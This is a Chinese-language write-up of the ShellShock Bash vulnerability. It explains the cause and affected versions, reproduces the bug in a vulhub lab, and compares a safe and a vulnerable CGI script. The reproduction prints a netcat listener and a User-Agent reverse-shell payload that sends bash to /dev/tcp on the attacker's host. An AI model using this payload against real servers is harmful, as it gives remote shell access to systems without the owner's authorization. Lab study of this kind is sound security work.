漏洞描述
ShellShock是一个BashShell漏洞,通常情况下系统内的Shell有严格权限控制,但GNU Bash在 4.3及之前版本存在安全漏洞,Bash运行过程中会调用操作系统的环境变量,攻击者可向环境变量值内的函数定义后添加多余字符串触发漏洞,通过改变或绕过环境限制来执行Shell命令。
Bash使用的环境变量通过函数名称进行调用,漏洞原因在于以(){开头定义的环境变量在命令ENV中解析为函数后,Bash执行并未退出,而是继续解析并执行Shell命令,攻击者可借此实现反弹Shell等行为。
漏洞的核心原因在于输入过滤中没有严格的限制边界,没有做合法化的参数判断。
影响版本
GNU Bash 4.3及之前版本。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/bash/shellshock
docker-compose up -d
环境启动后可尝试访问http://<ip>:<port>/victim.cgi查看是否启动成功。
攻击机监听端口:
nc -lvnp <port>
抓取当前页面的访问数据包,修改User-Agent构造一个反弹Shell的payload:
User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1;
成功反弹Shell。
漏洞分析
复现目录下存在safe.cgi和victim.cgi两个cgi文件,我们使用diff命令看看两者的差异:
# 命令
diff safe.cgi victim.cgi
# 结果
1c1
< #!/bin/bash
---
> #!/usr/local/bash-4.3.0/bin/bash
# 输出信息讲解
1c1:表示第一个文件的第1行与第二个文件的第1行不匹配
<:表示第一个文件中的数据行
>:表示第二个文件中的数据行
可以发现两者Bash版本不同,而在访问http://<ip>:<port>/safe.cgi时,漏洞无法复现成功。

Web服务器通过环境变量获取浏览器参数,然后交给CGI程序,环境中的CGI程序是有漏洞版本的Bash生成的,因此在HTTP头部中注入的浏览器参数被Bash当作环境变量解析并执行了。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。